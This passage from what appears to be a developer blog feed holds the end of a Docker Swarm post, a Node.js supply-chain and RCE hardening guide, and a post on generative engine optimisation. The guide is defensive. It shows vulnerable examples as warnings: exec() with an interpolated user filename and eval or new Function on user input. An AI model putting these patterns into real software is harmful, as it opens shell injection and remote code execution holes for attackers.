  • Can a new engineer understand the architecture without reading 50 pages of hidden tribal knowledge?

That last question matters more than people think.

If the infrastructure only works because one person remembers every command, it is not production-ready. It is a personal project running on production servers.

Final Thoughts

Docker Swarm is not the loudest technology in the room anymore.

But that does not make it useless.

For the right team and the right workload, it is still a clean, stable, and practical way to run containers in production. It gives you orchestration, service discovery, rolling updates, secrets, overlay networks, and scheduling without forcing you to adopt the full complexity of Kubernetes.

My general philosophy is simple:

Keep infrastructure as simple as possible, but never simpler than production requires.

Docker Swarm fits that philosophy well.

It is not about avoiding Kubernetes because Kubernetes is bad. It is about choosing the smallest reliable system that can do the job.

And in many real production environments, that is exactly the kind of decision that keeps systems stable, teams productive, and pagers quiet.

Hardening Your Node.js App Against Supply Chain & Remote Code Execution Attacks

Supply chain attacks on the npm ecosystem have quietly become one of the most effective ways attackers compromise production systems. They don’t break down your front door — they hide inside a package you already trust.

You’ve probably heard of incidents like event-stream (2018), ua-parser-js (2021), and the XZ Utils saga (2024). Each one followed the same playbook: gain access to a popular package, inject malicious code, and wait for millions of installs to do the rest.

This article walks through the concrete steps your Node.js team should take — from package.json config to CI/CD pipeline guards — to dramatically reduce your exposure.

The Threat Model

Before jumping to solutions, it’s worth naming what we’re actually defending against:

  • Supply chain attacks — a dependency you trust is compromised upstream
  • Typosquatting — someone publishes lodahs or expres hoping you mistype
  • Malicious install scripts — a postinstall hook that exfiltrates your env vars or drops a shell
  • Dependency confusion attacks — a public package with the same name as your private internal one
  • Remote Code Execution (RCE) — your own code accepts untrusted input and hands it to eval() or child_process

1. Lock Files Are Not Optional

The most basic supply chain protection is also the most ignored.

# Always commit this — never .gitignore it
package-lock.json   # npm
yarn.lock           # yarn
pnpm-lock.yaml      # pnpm

A lock file pins the exact resolved version and integrity hash of every package in your tree. Without it, two developers running npm install on the same package.json can get different packages — and an attacker who compromises a patch version between those installs wins silently.

In your CI/CD pipeline, replace npm install with npm ci:

# npm install — resolves versions, can drift
npm install

# npm ci — installs exactly what's in the lockfile, fails if it drifts
npm ci

npm ci also deletes node_modules first, ensuring a clean, reproducible install every time.

2. Pin Your Dependency Versions

The ^ and ~ range operators in package.json are convenient in development — and dangerous in production.

// ❌ Accepts any compatible minor/patch update — could auto-install a compromised version
"dependencies": {
  "express": "^4.0.0",
  "lodash": "~4.17.0"
}

// ✅ Exact pins — you control every update explicitly
"dependencies": {
  "express": "4.18.2",
  "lodash": "4.17.21"
}

If you’re worried about missing security patches, that’s what automated PRs (Renovate, Dependabot) are for — you review the diff and merge deliberately.

3. The 30-Day Update Delay Strategy

One of the most underrated defences: don’t install packages the moment they’re published.

Most malicious versions get discovered by the community within days. If you hold back updates by 30 days, you benefit from that collective scrutiny before the code ever runs in your environment.

With Renovate Bot, configure a minimum release age in your renovate.json:

{
  "packageRules": [
    {
      "matchDepTypes": ["dependencies"],
      "minimumReleaseAge": "30 days",
      "automerge": false
    },
    {
      "matchDepTypes": ["devDependencies"],
      "minimumReleaseAge": "7 days"
    }
  ]
}

You can also document this as a team policy in your package.json:

{
  "config": {
    "update-policy": "production deps held 30 days after release before adoption"
  }
}

4. Disable Automatic Install Scripts

This is a quick win that blocks an entire class of attacks. Many supply chain compromises work by injecting malicious code into postinstall, preinstall, or prepare lifecycle scripts — code that runs automatically when anyone on your team does npm install.

Add this to your project’s .npmrc:

ignore-scripts=true

This tells npm to skip all lifecycle scripts during install. The tradeoff is that some legitimate packages (like husky, node-sass, or native bindings) need scripts to work. For those, you whitelist explicitly:

# Run scripts only for packages you've reviewed and trust
npm install --ignore-scripts
npx husky install  # run manually after

5. Audit Your Dependencies Continuously

npm audit is built in and free. Make it part of your workflow:

# Run locally
npm audit

# Fail CI on high or critical vulnerabilities
npm audit --audit-level=high

Add it as a pre-push hook with Husky:

npx husky add .husky/pre-push "npm audit --audit-level=high"

For deeper intelligence, Socket.dev is the tool most teams sleep on. It doesn’t just check CVEs — it detects:

  • New install scripts that didn’t exist in previous versions
  • Packages that suddenly start making network calls
  • Maintainer account changes and suspicious publish patterns
  • Typosquatting candidates

Their GitHub App drops a comment on every PR that introduces a new dependency. Free for open source, extremely effective.

6. Verify Package Signatures

Since npm 9+, you can verify that a package was published by who it claims:

# Verify signatures of all installed packages
npm audit signatures

When publishing your own packages, add provenance:

npm publish --provenance

Provenance links the published package to the specific CI run that built it — creating a verifiable, tamper-evident chain from source code to published artifact.

7. Prevent RCE in Your Own Code

Supply chain attacks get you through your dependencies. RCE vulnerabilities get attackers in through your own code. The two most common patterns to eliminate:

Never pass user input to exec()

import { exec, execFile } from 'child_process';

// ❌ DANGEROUS — shell injection
exec(`ffmpeg -i ${userProvidedFilename} output.mp4`);

// ✅ SAFE — argument array, no shell interpretation
execFile('ffmpeg', ['-i', userProvidedFilename, 'output.mp4']);

Never eval user input

// ❌ Any of these with user-controlled input = instant RCE
eval(userInput);
new Function(userInput)();
vm.runInNewContext(userInput);

// ✅ If you need dynamic execution, use a strict sandbox
// or a purpose-built expression evaluator like expr-eval or math.js

Lock down V8 string evaluation at the process level

node --disallow-code-generation-from-strings server.js

This V8 flag prevents eval() and new Function() from working entirely — even inside your dependencies.

8. Use Node.js Permission Model (v20+)

Node.js 20 introduced a built-in permission model that lets you sandbox exactly what your process is allowed to do at the OS level:

node --experimental-permission 
     --allow-fs-read=./src 
     --allow-fs-write=./tmp 
     --allow-net=api.stripe.com,api.yourservice.com 
     server.js

Any attempt to read outside ./src, write outside ./tmp, or phone home to an unexpected domain will throw a permission error — even from inside a compromised package.

9. Harden Your Docker Container

Even if a package is compromised and achieves code execution, a properly locked-down container limits the blast radius dramatically.

FROM node:20-alpine

# Create a non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app
COPY package*.json ./

# Use npm ci for clean install, skip scripts
RUN npm ci --ignore-scripts --omit=dev

COPY . .
RUN chown -R appuser:appgroup /app

# Switch to non-root
USER appuser

CMD ["node", "server.js"]

And in your docker run or docker-compose.yml:

security_opt:
  - no-new-privileges:true
cap_drop:
  - ALL
cap_add:
  - NET_BIND_SERVICE
read_only: true

An attacker who achieves RCE inside this container has no root, no shell escalation path, no write access to the filesystem, and severely limited syscalls.

10. Pin Your GitHub Actions to Commit SHAs

Your CI/CD pipeline is part of your supply chain. GitHub Actions tags (@v3, @v4) are mutable — a compromised maintainer can push new code under an existing tag.

# ❌ Tag can be silently overwritten
- uses: actions/checkout@v4

# ✅ Commit SHA is immutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Use a tool like pin-github-action to automate this across your workflow files.

Quick Reference: Tools by Category

Category Tool What It Does
Vulnerability scanning npm audit CVE checks against npm advisory DB
Behavioural analysis Socket.dev Detects malicious package behaviour
Automated PRs Renovate / Dependabot Keeps deps updated with review gates
CVE monitoring Snyk / OSV-Scanner Continuous monitoring, PR alerts
Unused deps depcheck Find deps you can remove
Secret scanning truffleHog / git-secrets Catch credentials before they’re pushed
Signature verification npm audit signatures Verify package provenance

The Quick Win Checklist

If your team can ship only five things this sprint, make them these:

  • [ ] Replace npm install with npm ci in all CI pipelines
  • [ ] Add ignore-scripts=true to .npmrc
  • [ ] Install the Socket.dev GitHub App on your repos
  • [ ] Configure Renovate with minimumReleaseAge: "30 days" for production deps
  • [ ] Add npm audit --audit-level=high to your pre-push hook

The 30-day delay window, combined with npm ci and Socket.dev’s behavioural scanning, blocks the majority of real-world supply chain attacks before your team ever sees them.

Closing Thoughts

Supply chain security isn’t a one-time fix — it’s a set of habits. The teams that weather these attacks are the ones that treat their dependency tree with the same scrutiny they apply to their own code: reviewed, versioned, audited, and never blindly trusted.

Start with the quick wins. Then build toward full provenance attestation, container hardening, and the Node.js permission model. Each layer compounds.

Found this useful? Drop a comment with what your team currently does for supply chain hygiene — always curious to see what’s working out in the wild.

A Practical GEO Case: How an AI System Started Recommending Our Blog

About one month after launching the Kunpeng AI Lab blog, I noticed a useful GEO case in the wild.

I asked an AI system to recommend hands-on AI or AI Agent creators. Kunpeng AI Lab appeared as the first recommendation.

This is not a post about bragging that “AI recommended us.” The more useful engineering question is: what public signals made the brand understandable enough to be recommended?

GEO is not just SEO with a new name

Traditional SEO focuses on being crawled, ranked, and displayed in search results.

GEO, or Generative Engine Optimization, has a different problem space: how do AI systems understand your brand well enough to summarize it correctly and recommend it in the right context?

For developer-facing brands, that context might be:

  • practical AI Agent workflows
  • real debugging examples
  • open-source tooling
  • hands-on product reviews
  • specific engineering tradeoffs

If your public content is vague, AI has little to work with.

What the AI appeared to recognize

The AI did not describe Kunpeng AI Lab only as an “AI blog.” It recognized a more specific pattern:

  • hands-on AI Agent practice
  • real project notes
  • debugging records
  • PR and issue traces
  • reusable skills and workflow templates
  • concrete commands, tools, failures, and fixes
  • a low amount of pure marketing language

That is the important part.

The recommendation was not based on a tagline. It was based on repeated evidence.

The practical GEO lesson

If you want AI systems to understand and recommend your brand, publishing more is not enough. You need clearer signals.

First, keep your positioning stable.

If your core topic is AI Agent engineering, keep returning to that topic. You can explore adjacent ideas, but do not make your public identity change every week.

Second, make the content verifiable.

A debugging post with commands, screenshots, logs, and tradeoffs is easier to trust than a page full of abstract claims. Evidence helps people. It also helps AI systems classify the brand correctly.

Third, repeat the signal across surfaces.

Article titles, body text, project links, captions, GitHub discussions, and videos should all point to the same area of expertise. Consistency makes the brand easier to summarize.

Negative signals also matter

One underrated part of GEO is negative labeling.

If public content looks like thin marketing, AI may summarize it that way. If a brand only repeats hot topics without showing tests or artifacts, AI may treat it as a secondary commentary source. If low-quality copied pages or unresolved complaints dominate the public web, those signals may also shape the AI’s view.

So GEO is not only about “how do I get recommended?”

It is also about “how do I avoid being misunderstood?”

Takeaway

AI search changes the audience for your content.

Humans still matter most, but AI systems are now part of the discovery layer. They read, compress, summarize, and re-express what they find.

If you want your brand to appear in the right answers, make it easy to verify:

  • keep a stable niche
  • publish real cases
  • show process and artifacts
  • repeat the same expertise signal
  • reduce vague marketing language

That is not a shortcut. It is basic brand hygiene for the generative search era.

Originally published at Kunpeng AI Lab:
https://kunpeng-ai.com/en/blog/geo-brand-ai-recommendation/